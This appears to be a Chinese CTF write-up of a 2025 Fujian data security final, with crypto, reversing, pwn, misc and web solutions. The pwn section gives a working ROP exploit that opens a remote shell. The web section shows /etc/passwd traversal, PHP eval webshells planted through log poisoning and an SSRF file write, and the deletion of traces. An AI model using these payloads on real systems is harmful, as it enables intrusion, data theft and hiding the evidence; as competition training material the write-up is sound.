2025福建省数据安全大赛

2025福建省数据安全大赛决赛CTF部分——NISA_WuYuM的wp。

前言

下面部分题解的内容来自我的两个超大杯队友,公布他们的题解内容也已经过了他们的允许。

Crypto

the key to AES

首先,阅读分析一下给出的脚本:

from secret import flag, key
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import *

assert int(key) % 2 == 0        # 这边应该是在说,这个key是偶数


def gen_key(key):       # 生成key
    padded_key = key.encode() + b'\x0a' * 10        # 输入key后,填充10个\x0a字节
    assert len(padded_key) == 16        # 填充完后,是16个字节,那所以key应该是6字节,那就是6个数字
    return padded_key       # 返回填充后的key,看来这个函数也就只是这样而已


def encrypt(msg, key):      # 加密函数
    padded_key = gen_key(key)       # 要生成填充后的key
    aes = AES.new(padded_key, mode=AES.MODE_ECB)        # 创建一个AES_ECB
    msg = aes.encrypt(msg)      # 做AES加密
    return msg      # 返回加密后的结果


c1 = md5(encrypt(b'0123456789abcdef', key)).hexdigest()     # 这边是先AES加密了b'0123456789abcdef',用未知密钥,然后md5加密,后续会输出
c2 = encrypt(pad(flag.encode(), 16), key)       # 这边是用同样的key加密了flag,然后返回加密结果

print(f'c1: {c1}')
print(f'c2: {c2}')

'''
c1: 7f22b1ca2f586a84f6e676634cc1778a
c2: b'#\xa85\xde6\xab\xe1\xc8DWx\xa5O\xf9PJ\xf9\x8e\xf3PR\x9a\xb5H\x17\xe9\x8d\x01\xb9\xf4\x07\x15p\x98\xda\x81l\x17!\xb8\xcb\x88\xa1?\xe93G_'
'''
image-20251123100934546

这边能观察到两段加密代码用了相同密钥,看来是要通过第一个md5的输出来猜密钥是什么,然后应用到flag的加密中。

那么key根据上面函数可知,应该是6位数,所以我们可以爆破,以md5碰撞为依据。

于是写python尝试碰撞出key并解密:

from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from hashlib import *

def gen_key(key):       # 生成key
    padded_key = key.encode() + b'\x0a' * 10        # 输入key后,填充10个\x0a字节
    assert len(padded_key) == 16        # 填充完后,是16个字节,那所以key应该是6字节,那就是6个数字
    return padded_key       # 返回填充后的key,看来这个函数也就只是这样而已

def encrypt(msg, key):      # 加密函数
    padded_key = gen_key(key)       # 要生成填充后的key
    aes = AES.new(padded_key, mode=AES.MODE_ECB)        # 创建一个AES_ECB
    msg = aes.encrypt(msg)      # 做AES加密
    return msg      # 返回加密后的结果

def decrypt(msg, key):      # 解密函数,输入填充后的key
    padded_key = gen_key(key)
    aes = AES.new(padded_key, mode=AES.MODE_ECB)        # 创建一个AES_ECB
    msg = aes.decrypt(msg)      # 做AES加密
    return msg      # 返回加密后的结果

c1 = '7f22b1ca2f586a84f6e676634cc1778a'
c2 = b'#\xa85\xde6\xab\xe1\xc8DWx\xa5O\xf9PJ\xf9\x8e\xf3PR\x9a\xb5H\x17\xe9\x8d\x01\xb9\xf4\x07\x15p\x98\xda\x81l\x17!\xb8\xcb\x88\xa1?\xe93G_'

for key in range(0, 1000000):
    key = str(key)      # 转字符串
    while len(key) != 6:      # 不满6字节长就填充到6字节长
        key = '0' + key
    if md5(encrypt(b'0123456789abcdef', key)).hexdigest() == c1:
        print(key)
        print(decrypt(c2, key))
        break

执行后获取到flag:

image-20251123143645965

guess what

下载得到两个附件,一个是加密脚本,一个是 output.txt 。

output.txt 先看了一眼,是一堆二进制串,应该是通过加密脚本加密得到的。

然后阅读分析一下加密脚本:

from secret import flag, seed, noise
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
import random

# seed = getPrime(32)       # 随机获取一个32位大素数作为随机数的种子
# noise = random.randint(1, 20)     # 生成一个噪音随机数
random.seed(seed)       # 加载这个随机数种子
with open('output.txt', 'w') as f:      # 打开output.txt准备写入内容
    for _ in range(1248):       # 循环1248下
        temp = bin(random.getrandbits(16))[2:].zfill(16)        # 一次获取16位的数,转成二进制串
        f.write(temp)       # 获取后尝试写入
    f.close()

key = pad((str(seed) + str(noise)).encode(), 16)        # key是seed字符串拼接noise,然后填充到16的整数倍个字节
aes = AES.new(key, mode=AES.MODE_ECB)       # 然后用这个key来加密flag
c = aes.encrypt(pad(flag.encode(), 16))

print(f'c: {c}')        # 输出密文

'''
c: b'\x87\xf15\xd0J;\x9c\xcfE\x07\xec5\x1bc\x07\x1c\xf5n\nA\xb8\xc4\x87\xafh:\xeca|\x1a\x19*m\xf3\x06\xe0p\xc8\xd8d\x00~\xf2L\x88\x05r-'
'''

这个是MT19937问题,需要求解seed。然后拼接noise,组成key去解出flag。

这个其实跟之前的0xGame第四周的一道题目的核心思想差不多。

那么这边就先求状态向量,然后求seed,然后爆破noise。实现脚本如下:

from gf2bv import LinearSystem
from gf2bv.crypto.mt import MT19937
import random
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES


def mt19937(bs, out):
    lin = LinearSystem([32] * 624)  # MT19937 的内部状态有 624 个 32-bit 整数,于是构建这样的线性系统
    mt = lin.gens()  # 线性系统内部初始化(内部状态符号化,相当于先填充未知变量)
    rng = MT19937(mt)  # 根据上面符号化线性系统,定义一个随机数生成器
    # 到这边都可以算是固定步骤
    zeros = [rng.getrandbits(bs) ^ int(o) for o in out] + [mt[0] ^ 0x80000000]  # 填充样本,准备求解。rng.getrandbits(bs)其实也就是表示已知部分在整个序列中形式,想办法表示已知部分在序列中的位置。
    sol = lin.solve_one(zeros)  # 求解出符合条件的内部状态
    rng = MT19937(sol)  # 指定MT19937的内部状态
    pyrand = rng.to_python_random()  # 使MT19937兼容python的random库
    STATE = pyrand.getstate()[1][:-1]		# 取状态向量且去掉末尾的计时器
    STATE = STATE + (len(STATE),)		# 使用新计数器
    return STATE


def _int32(x):
    return int(0xFFFFFFFF & x)


def _re_init_by_array_part(index, mt, multiplier):
    return _int32((mt[index] + index) ^ (mt[index - 1] ^ mt[index - 1] >> 30) * multiplier)


def _init_genrand(seed, mt):
    mt[0] = seed
    for i in range(1, 624):
        mt[i] = _int32(1812433253 * (mt[i - 1] ^ mt[i - 1] >> 30) + i)


def re_init_by_array(mt=None):
    tmp = [_re_init_by_array_part(i, mt[:-1], 1566083941) for i in [622, 623]]

    original_mt = [0] * 624
    _init_genrand(19650218, original_mt)

    predict_seed = _int32(tmp[-1] - _int32((tmp[-2] ^ (tmp[-2] >> 30)) * 1664525 ^ original_mt[-1]))

    print(predict_seed)
    return predict_seed


out = []
with open('./output.txt', 'r') as f:
    tmp = f.read()
    f.close()
for i in range(0, 1248 * 16, 16):  # 收集样本,准备传给mt19937()函数
    out.append(int(tmp[i:i+16], 2))
state = mt19937(16, out)  # 标识每16bit为一个单位(可以自由选择其他后续方便于表示已知部分和未知部分关系的数量),这样输入的样本需有 624*32/16 个,而且得是已确定部分的十进制数字列表。而我们有1248个,足够了
predict_seed = re_init_by_array(state)		# 这个STATE是一个有(624+1)个元素的整型列表。其中,最后一个元素无用,在该脚本中会被自动剔除掉(但这样也可以跟前面脚本无缝衔接起来)

c = b'\x87\xf15\xd0J;\x9c\xcfE\x07\xec5\x1bc\x07\x1c\xf5n\nA\xb8\xc4\x87\xafh:\xeca|\x1a\x19*m\xf3\x06\xe0p\xc8\xd8d\x00~\xf2L\x88\x05r-'

for noise in range(1, 21):
    key = pad((str(predict_seed) + str(noise)).encode(), 16)        # key是seed字符串拼接noise,然后填充到16的整数倍个字节
    aes = AES.new(key, mode=AES.MODE_ECB)       # 然后用这个key来加密flag
    m = aes.decrypt(c)
    if b"flag{" in m:
        print(m)

然后放到Linux子系统中运行,成功解出flag:

image-20251123103816729

Reverse

easyRE1

首先,拿到题目第一步,DIE查壳:

image-20251123104158650

发现此处有UPX壳,尝试 upx -d 脱壳:

image-20251123104300897

再次尝试DIE查壳:

image-20251123104337775

发现成功脱壳。

接下来放入IDA中分析。

进入后直接 Shift + F12 发现可疑字符串:

image-20251123104515850

双击跟进查看,然后 Ctrl + X 交叉引用,能发现回到了主函数:

image-20251123104700177

于是查看主函数,F5反汇编后可见:

image-20251123104741240

尝试分析一下:

image-20251123105017496

下面还有四个不知道在干什么的函数,尝试逐个分析一下。

第一个函数是传入了用户的输入还有数字36,这个数字36应该就是前面的用户输入长度。

跟进后可见:

image-20251123105119952

感觉比较复杂,简单分析一下:

image-20251123105532346

所以第一个函数综合一下,就是用户是不是输入了一个带flag格式的东西。

ok,接下来看第二个函数:

image-20251123105653153

传入的东西其实还是用户的输入还有用户输入的长度。

分析这个函数:

image-20251123110045026

接下来分析第三个函数:

image-20251123110132994

这边传入的东西还包含用户的输入还有用户输入的长度,还有个只是定义了一下的v9。

分析一下:

image-20251123110557306

这边好像也可能是存在类型转换问题,所以也可能不是"a2[4i]",而是"a2[i]"。

接下来分析第四个函数:

image-20251123110457529

属于是传入刚才异或得到的a2,然后还传入用户输入长度。

尝试分析一下:

image-20251123110803329
image-20251123110952916

至此,这四个函数分析完毕了:

image-20251123111028089

我们可以写脚本,从密文出发,先解开异或,然后解开置换,这样就是用户应该输入的正确输入,也就是flag。

先复制密文,然后用记事本的替换功能处理一下数据:

image-20251123111311415

这边还是感觉那个“4LL”只是类型转换,先忽略,然后尝试写解密脚本解密:

flag = []
v7 = [0] * 36       # 密文有36个元素,那这边就创建一下

v7[0] = 65614
v7[1] = 65639
v7[2] = 65650
v7[3] = 65606
v7[4] = 65541
v7[5] = 65628
v7[6] = 65654
v7[7] = 65629
v7[8] = 65643
v7[9] = 65550
v7[10] = 65662
v7[11] = 65577
v7[12] = 65635
v7[13] = 65677
v7[14] = 65580
v7[15] = 65637
v7[16] = 65636
v7[17] = 65557
v7[18] = 65644
v7[19] = 65652
v7[20] = 65586
v7[21] = 65671
v7[22] = 65670
v7[23] = 65628
v7[24] = 65566
v7[25] = 65631
v7[26] = 65653
v7[27] = 65675
v7[28] = 65632
v7[29] = 65573
v7[30] = 65656
v7[31] = 65643
v7[32] = 65656
v7[33] = 65651
v7[34] = 65663
v7[35] = 65658

# 解决异或
for i in range(0, len(v7)):
    flag.append((v7[i] - i - 65537) ^ 0x30)

# 解决置换
for i in range(0, len(v7)//2):
    flag[i], flag[35 - i] = flag[35 - i], flag[i]

# print(flag)     # 到这边输出的是ASCII码,需要转换
for i in flag:
    print(chr(i), end='')

到此处一举成功:

image-20251123111920443

Pwn

KROP2

首先拿到一个文件,先checksec:

image-20251123112215874

随后直接拖入IDA分析,直接 Shift + F12 查看字符串,发现有 system 函数:

image-20251123112505638

随后也看到这个:

image-20251123112538775

于是双击进入,然后 Ctrl + X 交叉引用,发现来到了此处:

image-20251123112656355

可能我们要找到 /bin/bash ,然后配合system来执行。

但是关键问题是,找了一圈,没发现 /bin/bash 或者 /bin/sh 字符串……

先看一眼主函数,分析一下:

image-20251123113121956

所以脚本先写点:

from pwn import *

p = remote('3.1.17.1', 8888)

payload = b'a' * (0x20 + 8)

p.sendline(payload)
p.interactive()

那么我们也许能用这个read函数来写入 /bin/bash ,那么我们先找一下read函数的地址:

objdump -d -j .plt.sec ./ROP2
image-20251123113723759
objdump -R ./ROP2
image-20251123113809707

分别查询了PLT表和GOT表,先记录一下system和read相关的信息:

system_plt = 0x401080
read_plt = 0x401090
system_got = 0x404020
read_got = 0x404028

然后因为这个是一个64位程序,那影响read函数三个参数的寄存器分别是rdi、rsi、rdx。

所以在地址界面找一找:

image-20251123114254277

研究了一段时间,发现了这片地址上,r12的低位传给edi(可看作是rdi的一部分),r13传给rsi,r14传给rdx,然后 r15+rbx*8 要被当做一个函数地址来执行对应的函数。而下面那边的一堆pop代表这些参数我们都能改。

于是获取这两个gadget地址:

g1 = 0x4012ba
g2 = 0x4012a0

然后先在栈溢出后ret到g1,然后通过这些pop修改寄存器值,然后ret到g2,自动把rdi、rsi、rdx设置好,然后调用read函数(那看来得是read_got)。

那么这边如果调用了read,那么写入的地方可以是bss段,先获取一下bss段的地址:

readelf -S ./ROP2
image-20251123115343011

那接下来还没到ret,应该还会继续执行,所以再看下面的汇编语言逻辑。发现会给rbx+1然后比较rbx和rbp的值,如果不一样就继续调用g2,否则就继续执行下面语句。下面语句有一个 add rsp, 8 ,栈指针偏移了8字节,这个稍后写一个随机8字节填充一下即可。然后就是pop,到时候用垃圾数据填充来跳过,直到ret。

那我们那些寄存器值一次就设置得差不多了,不需要再循环,所以这边构造 rbx=0 和 rbp=1 ,这样就可以。

那么我们先更新一下rop链:

from pwn import *

p = remote('3.1.17.1', 8888)
system_plt = 0x401080
read_plt = 0x401090
system_got = 0x404020
read_got = 0x404028
g1 = 0x4012ba
g2 = 0x4012a0
bss = 0x404060

payload = b'a' * (0x20 + 8)
payload += p64(g1)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(bss)
payload += p64(0x10)        # 长度设置这么多肯定够了
payload += p64(read_got)
payload += p64(g2)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)


p.sendline(payload)
p.interactive()

然后我们应该ret到system函数,然后system函数调用我们写入的东西,需要用到rdi寄存器,那我们可以找找其他的gadget看看:

ROPgadget --binary ./ROP2 --only "pop|ret"

于是发现了这个,正合适:

image-20251123115919611

这样我们就能完成exp:

from pwn import *

p = remote('3.1.17.1', 8888)
system_plt = 0x401080
read_plt = 0x401090
system_got = 0x404020
read_got = 0x404028
g1 = 0x4012ba
g2 = 0x4012a0
bss = 0x404060 + 0x100
g3 = 0x4012c3

payload = b'a' * (0x20 + 8)
payload += p64(g1)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(bss)
payload += p64(0x10)        # 长度设置这么多肯定够了
payload += p64(read_got)
payload += p64(g2)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(g3)
payload += p64(bss)
payload += p64(system_plt)

p.sendline(payload)
p.sendline('/bin/bash')
p.interactive()

成功获取到flag:

image-20251123121439636

Misc

paint

首先拿到一张图片,看不出什么异常,于是先放WinHex中分析一下。然后这边能看到下面有异常,从下面这一行分隔开了正常图片内容和一堆十六进制:

image-20251123121737416

尚且这边有 FFD9 ,jpg的文件尾。所以后面那些十六进制串有异常,尝试提取出来(这边是先删掉jpg的部分,然后记事本打开文件CV十六进制串),然后放到cyberchef中转字符:

image-20251123122120558

然后发现解密出了其他密文,尝试后发现是base64:

image-20251123122212107

于是就获得了坐标,把坐标放到随波逐流中转换为图片:

image-20251123122431101

成功获取到二维码:

搜狗截图20251123122452

然后用cyberchef解密二维码,得到flag:

image-20251123122647295

gif

首先能得到一个gif,gif中有许多帧,分别是二维码的多个部分。

于是放入ps中,尝试逐帧拼装:

图片1

得到结果:

qr_random

放入cyberchef中进行二维码扫描获取到flag:

image-20251123151646336

Web

music

首先,访问能获取到下面内容:

image-20251123122837346

点击黄字会下载文件:

image-20251123122855778

然后 Ctrl + U 查看网页前端代码:

image-20251123122944913

发现下面内容,这边有base64串:

image-20251123123006931

base64解密一下,能看到是一个文件名:

image-20251123123031794

那么可能存在任意文件下载,因此我们可以借此来下载一些敏感文件之类的。

首先尝试验证该漏洞是否可用,先把下面这个加密为base64字符串:

../../../../../../../../etc/passwd

取得结果:

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
image-20251123123201139

于是打开yakit抓包:

image-20251123123235595

抓下载请求包:

image-20251123123310500

修改:

image-20251123123414010

发现返回:

image-20251123123349421

噢噢,被拦截了,那么尝试下载当前页面的源码文件看一下:

./index.php

base64加密:

Li9pbmRleC5waHA=
image-20251123123501274

构造数据包并发送:

image-20251123123605346

再次被拦截:

image-20251123123618372

这边我们在此处发现了 download.php :

image-20251123123652711

于是再尝试一下:

./download.php

base64加密:

Li9kb3dubG9hZC5waHA=

发现可能可以拼接在URL栏中来执行,于是试一下:

image-20251123123748815

但这边发现了一个问题,刚才在数据包那边构造参数的时候,没有处理base64的等号,这样可能导致数据包结构混乱,出现问题。所以重新试一下,多加个URL编码,不再赘述:

image-20251123124021833
image-20251123124125225

但貌似也是没有效果。

这边尝试让URL的参数置空,发现这边貌似是只要访问不到文件,就输出:

image-20251123124212566

后续经过各种尝试,发现这个有效:

download.php

base64加密后:

ZG93bmxvYWQucGhw

尝试访问:

image-20251123124927125

成功下载得到:

image-20251123124939316

(虽然我们应该下载的是php才对呀?可能是下载会自动转为 .php 后缀的)

用记事本打开观察,发现关键内容:

image-20251123125227735

所以把这个base64加密一下:

hereiskey.php

获得:

aGVyZWlza2V5LnBocA==
image-20251123125257125

拼接:

image-20251123125323297

用记事本打开发现flag:

image-20251123125511152

文件包含

这题前面尝试了一下dirsearch目录扫描,发现有个敏感文件泄露 www.zip ,那么我们从此处开始做。直接访问 www.zip 可下载得:

image-20251123131504166

打开后发现两个文件,第一个文件记事本打开:

image-20251123131620680

其实就是访问后的界面,没什么用。

第二个文件Vscode打开:

image-20251123131741438

分析一下:

<!doctype html>
<head>
    <meta charset="utf-8">
    <title>index</title>
</head>
<body>
<?php       //php从这边开始
//error_reporting(0);
date_default_timezone_set('Asia/Shanghai');     //时区设置,此处没什么用
$scheme = $_SERVER['REQUEST_SCHEME'];       //获取一下数据包中一些参数
$domain = $_SERVER['HTTP_HOST'];
$requestUri =$_SERVER['REQUEST_URI'];
$requestUri=str_replace("%3C",'<',$requestUri);     //下面五行是URL解码
$requestUri=str_replace('%20',' ',$requestUri);
$requestUri=str_replace('%3E','>',$requestUri);
$requestUri=str_replace("%27","'",$requestUri);
$requestUri=str_replace('%22','"',$requestUri);
$log=date("Y-m-d")."        ".$scheme.'://'.$domain.$requestUri.PHP_EOL;        //发现上面获取的一些参数都只用来填充这边的日志文件
@$filename=$_GET['filename'];       //这边获取GET参数filename,并且针对错误不做提示
if($filename==''){      //如果文件名没设置,就默认包含index1.html
    $filename='index1.html';
}
if(stripos($filename,'../')!==false){       //大致意思应该是不可以用 ../ 这样的操作
    exit('I can see you!!!');
}
include($filename);     //文件包含filename!!!
$file='index.log';      //这边是日志文件index.log
$fp=fopen($file,'ab+');     //打开日志文件,从末尾开始写入
fwrite($fp,$log);       //向日志文件中写入$log变量中的内容
fclose($fp);        //关掉文件
?>
</body>
</html>

那么这个地方我们可以尝试把一句话木马写到日志中,然后包含执行。

首先观察一下数据包,开yakit抓包:

image-20251123132829977

这边我尝试了在除了Host外的地方写一句话木马:

<?php @eval($_REQUEST['nisawuyum']);?>

然后尝试访问包含日志:

http://3.1.17.2/?filename=index.log
image-20251123133221226

发现刚才的一句话木马不存在,但是也发现了filename的参数值会被包含到,于是构造:

http://3.1.17.2/?filename="<?php @eval($_REQUEST['nisawuyum']);?>"
image-20251123133438201

然后尝试执行 phpinfo();

http://3.1.17.2/?filename=index.log&nisawuyum=phpinfo();
image-20251123133538704

成功了,那么我们可以用蚁剑来连接:

image-20251123133641730

/var/www/ 目录下找到:

image-20251123133736926
image-20251123133801866

拿到flag了。

顺带一提,走前清理一下痕迹,好习惯():

image-20251123133855103

删掉上面这些:

image-20251123133922165

GetShell

访问即见PHP代码:

image-20251123134059672

于是开始审计:

<?php
if(isset($_GET) && !empty($_GET)){		# 假如存在GET非空传参
    $url = $_GET['file'];		# GET形式读取变量file的内容
    $path = "upload/".$_GET['path'];		# GET形式读取变量path的内容,然后拼接在 upload/ 后并访问
    
}else{		# 假如存在GET非空传参
    show_source(__FILE__);		# 页面上会刷出源码
    exit();
}

if(strpos($path,'..') > -1){		# strpos是查找字符串首次出现的位置。这一整句效果应该是path变量中不应该出现 .. 符号,那不行
    die('This is a waf!');
}


if(strpos($url,'http://127.0.0.1/') === 0){		# url参数如果是以 http://127.0.0.1/ 开头的
    file_put_contents($path, file_get_contents($url));		# 这边应该是会把url参数指向的文件读取为一条字符串,然后把这条字符串传入到path变量指向的文件中
    echo "console.log($path update successed!)";		# 如果成功触发了会输出出来
}else{		# url如果不是以 http://127.0.0.1/ 开头的,那不行
    echo "Hello.Geeker";
}

那么我们要传入不包含 .. 符号的file变量和path变量。其中,file变量必须以 http://127.0.0.1/ 开头,然后file变量指向的文件做成一个字符串写到 /upload/{path变量} 中。

于是先尝试这样的构造:

http://3.1.17.4/?file=http://127.0.0.1/index.php&path=test0001.php
image-20251123140243319

尝试访问,发现成功写入,说明功能的确和我们想象的一样:

http://3.1.17.4/upload/test0001.php
image-20251123140313235

然后尝试这样的语句:

http://3.1.17.4/?file=http://127.0.0.1/1.php&path=test0001.php

再次访问发现:

image-20251123140620252

那么多写点内容是否会不一样?尝试:

http://3.1.17.4/?file=http://127.0.0.1/999999999999999999999999.php&path=test0001.php
image-20251123140703088

发现毫无变化,可能不是从这边下手:

image-20251123140747544

此处我多观察了一段时间,发现其实比较可能的思路还是让一句话木马进入到php文件中,然后我们通过访问执行这个文件。

所以有一个想法:既然执行后页面会出现差不多这样的:console.log(upload/test0001.php update successed!) ,那么我们是不是可以让这个路径中出现一句话木马,然后文件变成一句话写入到其他文件中。

开始尝试构造:

http://3.1.17.4/?file=http://127.0.0.1/index.php?file=http://127.0.0.1/index.php&path="<?php @eval($_REQUEST['nisawuyum']);?>"&path=test0001.php

但是因为要涉及到多重构造,而调用一次index文件只能写入一组file变量和path变量,因此需要url编码。编码后:

http://3.1.17.4/?file=http%3A%2F%2F127.0.0.1%2Findex.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%2Findex.php%26path%3D%22%3C%3Fphp%20%40eval%28%24_REQUEST%5B%27nisawuyum%27%5D%29%3B%3F%3E%22&path=test0001.php

发现包含成功了:

image-20251123142236962

其实当时我觉得这只不过是一次前期尝试,但是尝试了一下发现居然直接成功了:

http://3.1.17.4/upload/test0001.php?nisawuyum=phpinfo();
image-20251123142329604

于是尝试蚁剑连接:

image-20251123142524046
image-20251123142539471

所以实际上刚才的一句话木马文件名是有效的,只不过被前端过滤掉了。

然后此处发现我们前面的猜想是正确的,就是执行结果会被作为字符串存入到文件中:

image-20251123143109464

最后在此目录下找到了flag:

image-20251123142943134

最后按照惯例清理一下痕迹:

image-20251123143206399

清理后:

image-20251123143400557

后面验证了一下,实际上删除成功了。